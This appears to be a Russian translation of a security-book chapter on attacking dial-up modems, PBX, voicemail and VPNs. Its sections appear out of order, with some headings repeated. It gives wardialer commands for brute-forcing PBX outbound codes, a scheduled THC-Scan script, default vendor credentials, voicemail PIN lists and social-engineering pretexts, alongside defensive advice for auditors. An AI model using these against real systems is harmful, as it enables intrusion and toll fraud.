[ВремяЗаверш]- время завершения сканирования в формате 6:45а
[Часы] - максимальное число часов сканирования в формате 5:30
(перекрывает [ВремяЗаверш])
/Т = Tones, /К = Carriers (перекрывают данные файла конфигурации).
toneloc test /M:555-ХХХХ /R:0000-9999
Утилита ToneLoc имеет множество других возможностей для более искушенных пользователей, описанных в руководстве пользователя (TLUSER.DOC), однако для выполнения базовых операций по подбору номера перечисленных параметров вполне хватает. Приведем еще один параметр, задающий период ожидания и используемый для тестирования сетей РВХ. Этот параметр позволяет дождаться гудка после набора основного номера и ввести код для выполнения исходящих звонков из внутренней телефонной станции РВХ.
toneloc test /M:555-XXXXWxxx
При таком формате команды набирается номер 555-9999, затем делается пауза для появления гудка, а затем проверяются все возможные комбинации из трех цифр (ххх) для получения кода для выполнения исходящих звонков из сети РВХ. Утилита ToneLoc может угадывать даже четырехзначные коды. Возможно, это убедит читателей в опасности использования удаленных соединений с сетями РВХ или хотя бы заставит использовать более длинные коды.
Программное обеспечение
Программное обеспечение
Поскольку сканирование телефонных номеров обычно выполняется ночью в течение небольших интервалов времени, то важным требованием к соответствующим программам является возможность гибкой настройки графика работы и запоминания уже отсканированных номеров. Бесплатные программы ToneLoc и THC-Scan регулярно сохраняют результаты своей работы в файлах данных, обеспечивая тем самым возможность продолжения работы после последующего перезапуска. Кроме того у них есть определенные средства для задания времени начала и окончания работы в течение одних суток. Однако для выполнения длительных операций сканирования в течение нескольких дней пользователь должен полагаться на возможности операционной системы по планированию выполнения заданий или написать специальный сценарий. Программа PhoneSweep позволяет полностью автоматизировать режим работы.
Может показаться, что авторы предвзято относятся к программам ToneLoc и THC-Scan, однако они стараются быть объективными. Конечно, коммерческая программа PhoneSweep значительно облегчит жизнь консультантам по безопасности, которым необходимо получить максимальный результат ценой минимальных усилий. Возможности этой программы соответствуют ее цене, поэтому не стоит отказываться и от услуг бесплатных программ ToneLoc и THC-Scan. При регулярной интенсивной работе PhoneSweep себя окупает, однако не имеет смысла платить деньги, если аудит приходится выполнять лишь раз в полгода.
Теперь многие читатели могут подвергнуть
Резюме
Теперь многие читатели могут подвергнуть сомнению надежность общей концепции систем удаленного доступа, основанных как на технологии виртуальных частных сетей, так и на использовании старых добрых телефонных линий. И это правильно. Расширение пределов организаций до размеров тысяч (или миллионов) по определению надежных конечных пользователей — чрезвычайно рискованное дело, и авторы это доказали. Они предлагают исходить из предположения о том, что удаленные пользователи работают в наихудших с точки зрения безопасности условиях (обычно это достаточно близко к действительности). Вот некоторые советы по обеспечению безопасности удаленного доступа.
Политика назначения паролей, оправдывающая зарплату администратора по вопросам безопасности, приобретает еще более важное значение, если речь идет о выделении паролей для удаленного доступа к внутренним сетям. Удаленные пользователи должны использовать сложные пароли, надежность которых необходимо периодически контролировать. Рассмотрите возможность реализации механизма двухуровневой аутентификации на основе интеллектуальных плат или аппаратных ключей. Выясните у производителей, совместимы ли предлагаемые ими продукты с текущей инфраструктурой системы удаленного доступа. Многие компании предлагают простые надстройки, позволяющие легко реализовать схему аутентификации на основе аппаратных ключей для популярных серверов удаленного доступа типа Shiva LANRover. Таким образом, достичь требуемого уровня безопасности станет значительно легче. Обеспечивая безопасное соединение с Internet, не упускайте из виду обычные удаленные соединения. Разработайте политику контроля удаленных соединений внутри организации и регулярно проверяйте соблюдение принятых норм с использованием программ автопрозвона. Найдите и запретите несанкционированное использование программного обеспечения удаленного доступа во всей организации (более подробная информация об этом содержится в главе 13). Помните, что через телефонные линии хакеры могут получить доступ не только к модемам организации. Под их "обстрелом" могут оказаться офисные телефонные станции, факс-серверы, системы голосовой почты. Научите обслуживающий персонал и конечных пользователей предельно внимательному обращению с информацией об учетных записях для удаленного доступа, чтобы предотвратить возможность угрозы утечки информации через каналы социальной инженерии. Используйте дополнительные формы идентификации для получения информации по вопросам удаленного доступа через доску объявлений, например, введите систему персональных номеров. При всех своих достоинствах виртуальные частные сети могут подвергаться таким же атакам, как и другие "защищенные" технологии. Не верьте на слово уверениям разработчиков по поводу абсолютной защищенности VPN (вспомните статью Шнеера и Маджа, посвященную протоколу РРТР), разработайте строгую политику их использования и периодически контролируйте ее выполнение как и для удаленных соединений через обычные телефонные линии.
Результаты анализа протокола IPSec
Результаты анализа протокола IPSec
Многие исследователи отмечают закрытость стандарта IPSec, встроенного в Windows 2000 компанией Microsoft. Однако такая закрытость имеет и свои преимущества. Поскольку никто толком не знает принципов работы протокола IPSec, то неизвестны и способы его взлома (устройства, работающие на базе протокола IPSec можно обнаружить путем прослушивания UDP-порта 500). Однако, как станет ясно из следующего раздела, завеса таинственности — не лучший фундамент для создания протокола безопасности.
Результаты анализа проведенного
Результаты анализа, проведенного Шнеером (Schneier) и Фергюссоном (Ferguson)
После покорения протокола РРТР Брюс Шнеер и его коллега Нельс Фергюссон (Niels Ferguson) из Counterpane Internet Security сконцентрировали свое внимание на протоколе IPSec и описали результаты своего анализа в специальной статье. Основной лейтмотив статьи Брюс Шнеера и Нельса Фергюссона сводится к тому, что и сам протокол IPSec, и соответствующие документы, описывающие его стандарт, потрясающе сложны. Это мнение человека, разработавшего алгоритм шифрования, претендующий на утверждение в качестве государственного стандарта США — AES (Advanced Encryption Algorithm).
В течение нескольких лет утверждения этих документов никто не опроверг. И хотя мы не советуем знакомиться с этой статьей читателям, которым неизвестен протокол IPSec, осведомленные специалисты получат от нее удовольствие. Вот несколько классических "перлов" и "бесценных" рекомендаций из этой статьи.
"Протоколы шифрования не должны разрабатываться группами специалистов."
"Сложность — главный враг безопасности."
"Единственный надежный способ проверки безопасности системы — ее тестирование." (Главный лейтмотив этой книги.)
"Избегайте режима транспортировки и использования протокола АН, используйте инкапсуляцию на базе протокола ESP."
Брюс Шнеер и Нельс Фергюссон завершают свою статью признанием полной капитуляции: "По нашему мнению, протокол IPSec слишком сложен, чтобы быть безопасным. Однако на сегодняшний день лучшего средства защиты не существует." Конечно же, пользователи протокола IPSec должны полагаться на авторов конкретной реализации этого стандарта. Каждой конкретной реализации могут быть присущи свои собственные достоинства и недостатки, которые не останутся незамеченными сообществом хакеров.
одна из старейших систем РВХ,
Система ATT Definity 75
Система ATT Definity 75 — одна из старейших систем РВХ, и ее приглашение выглядит как стандартное приглашение UNIX. Иногда при этом выводятся даже соответствующие идентификационные маркеры.
ATT UNIX S75
Login:
Password:
Приведем список используемых по умолчанию учетных записей и паролей для системы ATT Definity 75. По умолчанию для этой системы устанавливается большое количество готовых к работе учетных записей и паролей. Обычно эти учетные записи впоследствии модифицируются их владельцами либо по собственному желанию, либо после проведения аудита безопасности системы. Однако после модификации системы предлагаемые по умолчанию учетные записи могут снова быть восстановлены. Иными словами, измененные в исходной версии системы данные могут снова принять предлагаемые по умолчанию значения после одной или нескольких модернизаций системы. Вот список используемых по умолчанию в системе ATT Definity 75 имен и паролей.
Login: enquiry Password: enquirypw
Login: init Password: initpw
Login: browse Password: looker
Login: maint Password: rwmaint
Login: locate Password: locatepw
Login: rcust Password: rcustpw
Login: tech Password: field
Login: cust Password: custpw
Login: inads Password: inads
Login: support Password: supportpw
Login: bans Password: bcms
Login: bcms Password: bcmpw
Login: bcnas Password: bcnspw
Login: bcim Password: bcimpw
Login: bciim Password: bciimpw
Login: bcnas Password: bcnspw
Login: craft Password: craftpw
Login: blue Password: bluepw
Login: field Password: support
Login: kraft Password: kraftpw
Login: nms Password: nmspw
Система Meridian
Система Meridian
На первый взгляд, система Meridian напоминает операционную систему UNIX. Однако воздержитесь от ее покупки! При вводе идентификатора пользователя maint с таким же паролем обеспечивается доступ к управляющей консоли. Тот же результат достигается при вводе идентификатора пользователя mluser с одноименным паролем Это две различные оболочки в стиле UNIX, предназначенные для ограничения взаимодействия с системой РВХ. Однако эти ограничения очень легко обойти.
XX-Feb-XX 02:04:56 *91ХХХ5551234
С: CONNECT 9600/ARQ/V32/LAPK
login:
login:
login:
login:
Система ROLM PhoneMail
Система ROLM PhoneMail
Приведенное ниже поведение свойственно устаревшей системе ROLM PhoneMail. При входе в нее иногда даже отображаются соответствующие идентификационные маркеры.
XX-Feb-XX 02:04:56 *91ХХХ5551234 С: CONNECT 9600/ARQ/V32/LAPM
РМ Login>
Illegal Input.
LOGIN: sysadrain PASSWORD: sysadmin
LOGIN: tech PASSWORD: tech
LOGIN: poll PASSWORD: tech
Система РВХ от компании Williams
Система РВХ от компании Williams
Как правило, работа в системе РВХ компании Williams происходит так, как показано ниже. При регистрации в сети зачастую требуется ввести номер пользователя. Обычно это пользователь первого уровня, номер которого — четырехзначное число. Очевидно, что подобрать нужное четырехзначное число не составляет труда.
XX-Feb-XX 04:03:56 *91ХХХ5551234 С:
CONNECT 9600/ARQ/V32/LAPM
OVL111 IDLE 0
>
OVL111 IDLE 0
>
OVL111 IDLE 0
>
OVL111 IDLE 0
Сканеры телефонных номеров
Сканеры телефонных номеров
Процесс подбора телефонных номеров во многом определяется используемыми для этого средствами. Поэтому далее будут охарактеризованы конкретные продукты, такие как ToneLoc, THC-Scan и PhoneSweep, Однако сначала приведем некоторые общие рассуждения.
Сканирование телефонных номеров с помощью утилиты THCScan
Рисунок 9.3. Сканирование телефонных номеров с помощью утилиты THC-Scan
Установка режима сканирования выполняется вручную с помощью ключей /s и /Е, задающих время начала и окончания процесса соответственно. Для повторения этого процесса каждый день нужно использовать встроенные средства планирования заданий операционной системы, например команду AT службы Scheduler системы Windows NT. Авторы книги обычно записывают параметры запуска THC-Scan в простой командный файл, который затем вызывается программой AT Scheduler. При планировании графика работы утилиты THC-SCAN.EXE необходимо помнить, что соответствующий файл конфигурации . CFG обязательно должен находиться в текущем каталоге, если не задана опция /!. Поскольку служба Scheduler запускает команды из каталога %systemroot%, для файла конфигурации утилиты THC-SCAN.EXE необходимо задать абсолютный путь, как показано в следующем примере.
Приведем пример командного файла thc.bat.
@@echo off
rem Make sure thc-scan.exe is in path
rem absolute path to .cfg file must be specified with /! switch if run
from AT scheduler
rem if re-running a scan, first change to directory with appropriate .DAT
file and delete /P: argument
C:\thc-scan\bin\THC-SCAN.EXE test /M:555-xxxx /R:0000-9999
/!:C:\thc-scan\bin\THC-SCAN.CFG /P:test /F /3:20:00 /E:6:00
at 7:58P /interactive /every:1 C\:thc-scan\bin\thc.bat
Утилита THC-Scan создает файл данных . DAT и считывает из него информацию за предыдущие дни до тех пор, пока не отсканирует все номера диапазона. Не забудьте удалить всю информацию, оставшуюся после завершения работы утилиты THC-Scan, с помощью команды at /delete.Для пользователей, выполняющих сканирование телефонных номеров с помощью нескольких модемов или нескольких клиентов сети автор утилиты написал простой командный файл NETSCAN.BAT, содержащийся в архиве THC-MISC.ZIP, входящем в комплект поставки утилиты. Внеся в этот файл небольшие изменения, описанные во второй части руководства THC-SCAN.DOC, этот сценарий можно использовать для автоматического деления диапазона телефонных номеров и создания отдельных DAT-файлов для каждого клиента или модема. Чтобы настроить утилиту THC-Scan для использования нескольких модемов, выполните следующие действия.
1. Создайте для каждого модема отдельный каталог, поместите в него копию утилиты THC-Scan и файл конфигурации, соответствующий этому модему.
2. Внесите изменения в файл NETSCAN.BAT, описанные в руководстве THC-SCAN.DOC. Количество модемов задайте в строке SET CLIENTS=, расположенной в разделе [2] командного файла NETSCAN.BAT.
3. Введите команду netscan.bat [маска соединения] [число модемов].
4. Поместите каждый файл . DAT в каталог соответствующего модема. Например, при использовании команды netscan 555-XXXX 2 для двух модемов результирующий файл 2555xxxx.DAT поместите в каталог, соответствующий модему № 2 (например, \thc-scan\bin2).
При поиске телефонных номеров, используемых для модемных соединений, утилита THC-Scan может отправлять ответившему модему несколько строк, заданных в файле конфигурации. Этот режим можно установить с помощью параметра carrier Hack Mode утилиты TS-CFG, а само содержимое этих строк — с помощью параметра Nudge. По умолчанию предлагается следующее сообщение.
^~^~^~^~^~^M^~^M?^M^~help^M^~^~^~guest^M^~guest^М^~INFO^M^MLO
(^~ означает паузу, а ^М — возврат каретки). Стандартный текст сообщения во многих случаях работает достаточно хорошо, но для достижения конкретной цели этот текст можно изменить.По завершении процесса сканирования необходимо проанализировать различные журналы. Важным преимуществом утилиты THC-Scan является возможность записи вводимой информации в текстовый файл, пригодный для использования в дальнейшем. Однако в процессе управления данными много информации приходится вводить вручную. Утилита THC-Scan может генерировать огромные объемы информации для последующего анализа, включая список отсканированых телефонных номеров, найденные модемы, выявленные типы систем и т.д. Вся эта информация записывается в файлы трех типов: DAT-файлы, файлы базы данных . D3, которые затем можно импортировать в ODBC-совместимую базу данных (эта опция задается с помощью ключа /F), и несколько LOG-файлов, содержащих списки телефонных номеров, которые были заняты, по которым ответил модем, а также перечень откликов модемов. Файл базы данных можно анализировать в любой системе управления базой данных, но в нем отсутствует информация об откликах модемов. Информация об откликах модемов содержится в журнале CARRIERS . LOG, и ее согласование с информацией базы данных надо проводить вручную. Такой анализ приглашений ответившей системы все равно зачастую приходится выполнять вручную для дальнейшего проникновения в систему, однако для больших диапазонов сканируемых номеров очень сложно вручную составить исчерпывающий отчет, отражающий основные результаты.
Вопрос управления данными значительно усложняется при использовании нескольких модемов. Как видно из описанного выше процесса, для каждого модема настраивается и запускается свой экземпляр утилиты THC-Scan и общий диапазон телефонных номеров нужно вручную разделить между модемами. Результирующие DAT-файлы можно объединить с помощью утилиты DAT-MERGE.EXE, входящей в комплект поставки утилиты THC-Scan, однако файлы журналов регистрации ответов модемов тоже нужно объединять вручную.
Невзирая на эти неудобства, утилита THC-Scan является чудесным бесплатным средством для телефонного сканирования и ее автор достоин наилучших слов благодарности. Как будет видно из последующего материала, продукты, обладающие большей простотой и эффективностью, стоят достаточно дорого.
Способы проникновения в систему через модем
Способы проникновения в систему через модем
Сканирование телефонных номеров преследует цель выявить потенциальные точки для последующего вторжения в систему через модемное соединение, однако чаще всего для определения степени уязвимости удаленного соединения требуется внимательный анализ отчетов. Например, из следующего фрагмента файла CARRIERS . LOG, сгенерированного утилитой THC-Scan, видны типичные отклики модемов. Для краткости этот файл несколько подредактирован. Подобные данные содержатся и в приложении А отчета утилиты PhoneSweep.
23-05-1997 14:57:50 Dialing... 95552851
CONNECT 57600
НР995-400:_
Expected a HELLO command. (CIERR 6057)
23-05-1997 20:08:39 Dialing... 95552349
CONNECT 57600
@ Userid:
Password?
Login incorrect
23-05-1997 21:48:29 Dialing... 95552329
CONNECT 57600
Welcome to 3Com Total Control HiPer ARC (TM)
Networks That Go The Distance (TM)
login:
Password:
Login Incorrect
23-05-1997 21:42:16 Dialing... 95558799
CONNECT 57600
._Please press <Enter>..._I
PJack Smith_JACK SMITH
[CARRIER LOST AFTER 57 SECONDS]
CONNECT 57600
НР995-400: HELLO FIELD.SUPPORT
PASSWORD» TeleSup
Второй пример отклика в приведенном фрагменте отчета несколько проще. Синтаксис @Userid свидетельствует об обнаружении сервера удаленного доступа LANRover производства компании Shiva Corp. (теперь она является частью корпорации Intel). Утилита PhoneSweep автоматически определяет системы LANRover по этой строке. На основе этой информации и в результате изучения Web-узла http: //www.shiva.com хакер сможет узнать, что системы LANRover можно сконфигурировать для аутентификации удаленных пользователей. При этом зачастую используется имя пользователя supervisor или admin с паролем NULL. Вы даже представить себе не можете, как часто такие данные срабатывают против ленивых администраторов.
Третий пример демонстрирует, насколько полезными могут оказаться даже элементарные знания о производителе и модели системы. Широко известно, что для устройств удаленного доступа 3Com TotalControl HiPer ARC существует "резервная" учетная запись adm с паролем NULL (http://geek-girl.com/bugtraq/1998_4/0682.html). Поэтому такие системы являются широко открытыми (если этот просчет еще не устранен).
В последнем примере зафиксирован отклик программы управления удаленным доступом pcAnywhere от компании Symantec. Если владелец системы Джек Смит не поленился установить хотя бы символический пароль, то система практически неуязвима. Но двое из троих пользователей pcAnywhere игнорируют подобные меры (и это действительно так!). Более подробная информация о pcAnywhere и других подобных программах содержится в главе 13.
Выше уже упоминалось о том, что интерес для хакеров представляют не только модемы, но и сети РВХ, а также системы голосовой почты. В частности, системы РВХ, сконфигурированные для обеспечения удаленных исходящих соединений, при вводе корректного кода отвечают гудком (см. выше описание программы ToneLoc). Поэтому при неправильной настройке эти средства обеспечивают взломщику возможность совершения телефонных звонков в любую точку мира за чужой счет. Не забывайте об этом, проверяя защищенность своей системы.
Описание всевозможных откликов удаленных систем могло бы занять всю оставшуюся часть этой книги, однако даже из этого краткого примера видно, какие типы систем можно обнаружить при проверке защищенности вашей организации. Помните о возможных брешах в защите и консультируйтесь со специалистами, включая разработчиков.
А что делать, если имя пользователя и пароль угадать не удается? Тогда следует попробовать атаковать в лоб. Как уже отмечалось, утилита PhoneSweep содержит встроенные средства подбора пароля, но не исчерпывает всех возможностей. Можно воспользоваться другими средствами, например Login Hacker от ТНС, представляющим собой компилятор языка сценариев и включающим несколько примеров таких сценариев. Авторам книги приходилось видеть и сложные сценарии, написанные на языке ASPECT, компании Procomm Plus. Эти программы трижды пытаются угадать пароль, Снова устанавливают соединение при его разрыве целевой системой и т.д. Однако такое вмешательство для удаленных систем нежелательно и даже противоправно, если эти попытки предпринимаются без согласия владельца системы.
Стоимость телефонных переговоров
Стоимость телефонных переговоров
И наконец, не забывайте о том, что подбор номеров удаленных целевых организаций оплачивается по междугородному тарифу телефонных переговоров. Поэтому приготовьтесь к получению значительных счетов за телефонные переговоры и заранее согласуйте вопрос их оплаты с заказчиком.
В следующих разделах будут подробно рассмотрены вопросы настройки каждого программного средства, чтобы читатели смогли легко воспользоваться этими программами. Однако в книге будут описаны далеко не все возможности этих программ.
Типичные пароли системы Voicemail
Таблица 9.1. Типичные пароли системы Voicemail
Последовательности цифр |
|
123456 |
765432 |
234567 |
876543 |
345678 |
987654 |
456789 |
098765 |
567890 678901 789012 890123 901234 012345 654321 |
109876 210987 321098 432109 543210 123456789 987654321 |
Симметричные последовательности кнопок 147741 258852 369963 963369 159951 123321 |
456654 789987 987654 123369 147789 357753 |
Цифры, расположенные в виде буквы Z 1235789 |
9875321 |
Последовательности повторяющихся символов 335577 115599 |
775533 995511 |
Цифры, образующие букву U Прямая буква U Перевернутая буква U Буква U "на правом боку" Буква U "на левом боку" |
1478963 7412369 3216789 1236987 |
Цифры, образующие углы Нижний левый угол Нижний правый угол Верхний левый угол Верхний правый угол |
14789 78963 32147 12369 |
Цифры, образующие букву O с разными начальными позициями обхода 147896321 47893214 78932147 896321478 |
963214789 632147896 321478963 214789632 |
Цифры, образующие букву X с разными начальными позициями обхода 159357 357159 159753 |
753159 951357 357951 |
Цифры, образующие символ + с разными начальными позициями обхода 258456 258654 456258 456852 |
654852 654258 852456 852654 |
Цифры, образующие букву Z с разными начальными позициями обхода 1235789 3215978 |
9875321 1895123 |
Поочередное нажатие клавиш из верхнего и нижнего ряда 172839 391728 281739 718293 937182 827193 |
283917 392817 173928 829371 938271 719382 |
Поочередное нажатие клавиш из левого и правого ряда 134679 791346 649731 |
467913 316497 973164 |
И наконец, этот способ подбора паролей можно автоматизировать. Если "захватывать" аналоговый голосовой сигнал с помощью некоторого цифрового преобразователя сигналов или научиться записывать ответы системы, то можно прослушать результаты работы сценария в автономном режиме и не присутствовать при его реализации.
Точка зрения Стивена М Белловина (Steven M Bellovin)
Точка зрения Стивена М. Белловина (Steven M. Bellovin)
Наблюдая за дискуссиями типа Cryptographic Challenges или изучая процедуры взлома RC5-64 , большинство читателей не отдают себе отчет в том, что обычно речь идет о получении взломщиками фрагментов незашифрованного текста. Однако захват передаваемой зашифрованной информации существенно отличается от взлома статических файлов паролей, поскольку поток зашифрованных данных не имеет четких границ, а значит, очень сложно определить начало и конец сеанса связи. Хакеру приходится угадывать, успешно расшифровывая и сопоставляя различные фрагменты разговора, не будучи при этом точно уверенным в правильном выборе исходной точки. Признанный титан мысли в области безопасности Internet, Стивен М. Белловин (Steven М. Bellovin) из лаборатории AT&T Labs Research опубликовал статью под названием Криптоанализ обычного текста с помощью протоколов IPSec ("Probable Plaintext Cryptanalysis of the IP Security Protocols"), в которой отмечает наличие известных фрагментов обычного текста в трафике IPSec — поля данных заголовка TCP/IP. И хотя это еще не свидетельствует о бреши в протоколе IPSec, этот факт дает пищу для размышления специалистам по взлому зашифрованных коммуникаций.
Туннелирование одного трафика
Рисунок 9.7. Туннелирование одного трафика в другом — основной принцип работы виртуальных частных сетей
Уязвимость удаленных соединений
Уязвимость удаленных соединений, PBX, VOICEMAIL и виртуальных частных сетей
Обычно организации меньше всего внимания уделяют старым забытым телефонным линиям. Эти провода, опоясавшие весь мир, сегодня преданы забвению. В этой главе будет показано, как старенький модем с пропускной способностью 9600 Кбит в секунду может поставить на колени сетевого Голиафа с мошной системной защитой.
Может показаться, что авторы решили начать главу, посвященную сетевым атакам, с устаревшей информации о хакинге аналоговых удаленных соединений. Несмотря на повсеместное распространение Internet, обычные телефонные сети PSTN (Public Switched Telephone Network) сегодня достаточно часто используются для связи с домашними и даже служебными компьютерами. Поэтому сенсационные истории о взломе узлов Internet меркнут перед более прозаическими рассказами о вторжениях через удаленные соединения, поскольку последние являются более разрушительными и проще выполнимыми.
На самом деле для больших компаний гораздо большую опасность представляют плохо инвентаризованные модемные линии, чем защищенные брандмауэрами шлюзы Internet. Упомянутый выше эксперт в области безопасности компании AT&T Билл Чесвик (Bill Cheswick) охарактеризовал брандмауэр как панцирь черепахи. На самом деле, зачем атаковать неприступный брандмауэр, когда можно пробраться непосредственно к "телу" целевой системы через плохо защищенный сервер удаленного доступа? Пожалуй, защита удаленных соединений — наиболее важный аспект построения линии круговой обороны.
Хакинг удаленных соединений выполняется по классической схеме: сначала выполняется предварительный сбор информации, затем — сканирование, инвентаризация и, наконец, атака. В большинстве случаев этот процесс можно автоматизировать с помощью традиционных хакерских средств, получивших название сканеров телефонных номеров (demon dialer) или программ автопрозвона (wardialer). По существу, эти средства программно устанавливают удаленное соединение с большим количеством телефонных номеров, регистрируют те из них, по которым устанавливаются модемные соединения, пытаются идентифицировать систему на другом конце телефонной линии и по возможности зарегистрироваться в системе, подобрав имя пользователя и пароль. Если для этого требуется специальное программное обеспечение или конкретные знания о системе, установка соединения может выполняться вручную.
Выбор сканера телефонных номеров — камень преткновения как для злоумышленников, так и для легальных специалистов по поиску незащищенных удаленных соединений. В этой главе мы рассмотрим две наиболее популярные программы такого типа, которые можно бесплатно загрузить из Internet (ToneLoc и THC-Scan), а также коммерческий продукт PhoneSweep от компании Sandstorm Enterprises.
После обсуждения этих программ будут рассмотрены приемы, применяемые против обнаруженных сканерами телефонных номеров систем вручную или в автоматическом режиме, в том числе внутренние телефонные сети компаний (сети РВХ) или системы голосовой почты (voicemail).
В завершение мы коснемся другого аспекта систем удаленного доступа и опишем виртуальные частные сети VPN (Virtual Private Networking). Хотя такие сети являются достаточно защищенными и на них возлагаются основные надежды в области развития корпоративных сетей, вопрос безопасности для них — не праздный. К настоящему времени известен лишь один случай взлома таких сетей, который и будет рассмотрен в этой главе наряду с общими рассуждениями о перспективах этой жизненно важной технологии.
Предварительный сбор данных о телефонных номерах
Хакинг удаленных соединений начинается с определения диапазона телефонных номеров, с которыми будет работать сканер. Настоящие хакеры обычно выбирают компанию-жертву и собирают информацию об используемых ею телефонных номерах из самых разных источников. Ниже будут описаны некоторые механизмы для ограничения сферы распространения такой информации.
В первую очередь хакеры изучают телефонные справочники. Многие компании продают компакт-диски с телефонными справочниками, которыми можно воспользоваться для взлома удаленных соединений. Определив основной телефонный номер, взломщики обычно "исследуют" схожие с ним номера. Например, если известно, что основной номер компании Acme Corp. — 555-555-1212, то для сканера телефонных номеров хакер задаст диапазон 555-555-ХХХХ, чтобы проверить все 10000 похожих телефонных номеров. При наличии нескольких модемов такое количество номеров можно перепробовать за несколько дней с помощью почти любой программы-сканера.
Еще один способ получения информации о телефонных номерах — позвонить на местную АТС и попытаться узнать номера "из первых уст" неосмотрительных служащих. Это хороший способ получения неафишируемых номеров, применяемых для удаленных соединений и центров данных, в которых префикс обычно отличается от префикса основного телефонного номера. Многие телефонные компании по требованию клиента заносят эту информацию в разряд секретной и не разглашают ее без предоставления пароля, однако известно множество случаев нарушения таких договоренностей и разглашения информации.
Помимо телефонных справочников, источником подобных сведений являются Web-узлы корпорации. Многие компании, потеряв бдительность от свободы распространения информации в Internet, публикуют списки своих телефонных номеров на Web-узлах. Этого не стоит делать, если только это не обусловлено характером деятельности.
Телефонные номера можно найти в самых неожиданных местах Internet. Одно из наиболее опасных местоположений в смысле накопления информации уже упоминалось в главе 1, однако стоит вернуться к нему еще раз. Сведения о контактных телефонах, а также другую техническую и административную информацию о компаниях, представленных в Internet, можно получить из регистрационной базы данных имен Internet, поддерживаемой центром InterNIC (известной также как Network Solutions), через интерфейс whois по адресу http://www.networksolutions.com/cgi-bin/whois/whois/. Вот результат поиска по ключевому слову acme. com, содержащий как открытую, так и закрытую информацию из базы данных InterNIC.
Registrant: Acme, Incorporated (ACME-DOM)
Princeton Rd. Hightstown, NJ 08520
US Domain Name: ACME.COM
Administrative Contact: Smith,John (JSOOOO) jsmith@ACME.COM
555-555-5555 (FAX) 555-555-5556
Technical Contact, Zone Contact: ANS Hostmaster (AH-ORG)
hostmaster@ANS.NET
(800)555-5555
И наконец, если вручную набирать подряд любые телефонные номера, то рано или поздно можно услышать: "Корпорация XYZ слушает". Это конечно достаточно утомительный способ предварительного сбора данных, но в то же время очень эффективный. Еще одним слабым звеном в системе телекоммуникации компании являются автоответчики, которые можно использовать против служащих компании. Например, от имени вице-президента компании по вопросам маркетинга можно оставить следующее сообщение системному администратору: "Привет, это Джим. Срочно измени мой пароль".
Устранение недостатков протокол а РРТР
Устранение недостатков протокол а РРТР
Означает ли все это, что над технологией виртуальных частных сетей разверзлись небеса? Абсолютно нет. Повторим еще раз, что все перечисленные недостатки касаются лишь конкретной реализации протокола компании Microsoft. Все они были устранены в сервисном пакете Service Pack 4 для серверов и клиентов. Более подробная информация об устраненных недостатках содержится в бюллетене Microsoft Security Bulletin MS98-012. Кроме того, в реализации для Windows 2000 протокол РРТР был существенно доработан. Теперь существует возможность использования протокола L2TP, основанного на IPSec. Для совместимости с новыми средствами обеспечения безопасности со стороны серверов РРТР-клиенты, работающие под управлением Win 9x, необходимо модернизировать с помощью Dial-Up Networking версии 1.3. Компания Microsoft подготовила подробный документ, касающийся протокола РРТР и защиты виртуальных частных сетей, который можно найти по адресу http://www.microsoft.com/ntserver/zipdocs/vpnsecur.exe).
В ответ на предпринятые компанией Microsoft действия Шнеер и Мадж опубликовали новую статью, в которой одобрили результаты устранения большинства из описанных ранее недостатков. Однако авторы замечают, что протокол MS РРТР по-прежнему основывается на пользовательских паролях в целях обеспечения разнообразия ключей.
Однако наиболее важный вывод из статьи Шнеера и Маджа читается между строк: существуют достаточно способные люди, которые хотят и могут испытать на прочность и взломать виртуальные частные сети, несмотря на все заявления об абсолютной защищенности последних. Кроме того, возможности реатазации стандартных атак против операционной системы, под управлением которой работает виртуальная частная сеть (например, проблема хэш-кодов LanMan), а также просто плохие проектные решения (неавторизованные каналы управления или повторное использование ключей сеансов) могут свести на нет все остальные преимущества этой безопасной, на первый взгляд, системы.Статья Шнеера и Маджа содержит одно парадоксальное утверждение: на фоне жесткой критики реализации протокола РРТР компании Microsoft, авторы выражают оптимистичное мнение, заключающееся в том, что протокол IPSec станет основой технологии VPN благодаря открытости и прозрачности процесса его разработки. Однако описание протокола РРТР и даже его расширенной реализации компании Microsoft тоже имеется в Internet. Так что же выгодно отличает протокол IPSec? Ничего. Стоило бы с таким же пристрастием проанализировать и протокол IPSec. Именно это и сделал Брюс Шнеер (Bruce Schneier).
Устраните утечку информации
Устраните утечку информации
Лучшей защитой против предварительного сбора информации по телефону является предотвращение утечки информации. Конечно же, для обеспечения возможности деловых контактов необходимо раздавать телефонные номера компании, но очень осторожно. Свяжитесь со своим оператором и согласуйте с ним перечень открытых телефонных номеров, список лиц, имеющих доступ к закрытой информации, а также пароль для получения каких-либо закрытых данных. Организуйте группу по устранению утечки информации из числа сотрудников отдела информатизации, которая будет следить за тем, чтобы закрытые телефонные номера не распространялись через Web-узлы, службы каталогов, серверы удаленного доступа и т.д. Свяжитесь с компанией InterNIC и "почистите" контактную информацию для зоны Internet. И наконец, предупредите пользователей, что телефон не всегда друг, поэтому нужно быть проявлять осторожность в разговорах с незнакомцами и не разглашать никакую закрытую информацию.
Утилита PhoneSweep позволяет легко настраивать график работы
Рисунок 9.5. Утилита PhoneSweep позволяет легко настраивать график работы
Помимо выявления стандартных модемов, утилита PhoneSweep позволяет реализовывать типичные атаки против них. В текстовом файле bruteforce.txt, расположенном в каталоге приложения, содержится перечень имен пользователей и паролей, которые передаются в ответ на приглашение модема. Если соединение разрывается, утилита PhoneSweep снова набирает номер и пробует воспользоваться следующим вариантом отклика, пока не будет исчерпан весь список (используя эту утилиту для тестирования защищенности своего сервера удаленного доступа, остерегайтесь возможности блокирования учетной записи). Одно только это средство стоит денег, затраченных на покупку PhoneSweep, поскольку позволяет автоматизировать операции. которые обычно выполняются вручную (см. следующий раздел).
Еще одним важным преимуществом утилиты PhoneSweep является встроенная база данных SQL для регистрации результатов сканирования. Благодаря ее наличию отпадает необходимость просмотра текстовых файлов вручную или приведения данных из разных форматов к единому формату электронных таблиц (что приходится делать при использовании бесплатных программ). Здесь имеется лишь один шаблон отчета, однако он очень изящен, содержит действительно полезную информацию в табличном виде, а также возможность добавления в отчет откликов идентифицированных модемов (приложение А) и всего списка телефонных номеров (приложение В) в формате RTF. Фрагмент отчета утилиты PhoneSweep приведен на Рисунок 9.6.
